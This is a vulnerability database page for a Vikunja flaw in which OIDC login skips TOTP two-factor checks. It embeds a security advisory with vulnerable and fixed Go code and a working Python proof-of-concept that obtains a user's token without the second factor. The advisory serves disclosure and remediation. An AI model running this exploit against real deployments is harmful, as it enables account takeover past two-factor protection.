CVE-2026-34727
criticalpriority · track · 36EPSS 0.003 · 20 %ileEUUSEPSS · scored 2026-10-27
Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.4–9.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-8jvc-mcx6-r4cgVikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path2026-04-10ghsa · osvUS
## Summary The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. ## Details The OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup: ```go return auth.NewUserAuthTokenResponse(u, c, false) ``` There are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification: ```go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { _ = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, }) ``` When OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge. ## Proof of Concept Tested on Vikunja v2.2.2 with Dex as the OIDC provider. Setup: - Vikunja configured with `emailfallback: true` for Dex - Local user `alice` (id=1) has TOTP enabled ```python import requests, re, html from urllib.parse import parse_qs, urlparse TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1" # verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}") # Output: 412 code=1017 (TOTP required) # login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?client_id=vikunja" f"&redirect_uri={TARGET}/auth/openid/dex" f"&response_type=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allow_redirects=False) approval_url = DEX + r.headers["Location"] r = s.get(approval_url) req = re.search(r'name="req" value="([^"]*)"', r.text).group(1) r = s.post(approval_url, data={"req": req, "approval": "approve"}, allow_redirects=False) code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0] resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.status_code}") user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") # TOTP was completely bypassed ``` Output: ``` Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice ``` Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge. ## Impact When an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment. This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor. ## Recommended Fix Add a TOTP check in the OIDC callback before issuing the JWT: ```go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { _ = s.Rollback() return err } if totpEnabled { _ = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*
- GO-2026-5258Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api2026-06-25vendor · osvUS
Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
- https://github.com/go-vikunja/vikunja/releasesPatchcnnvd
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cgcnnvd
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cgenisa_euvd
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cgExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan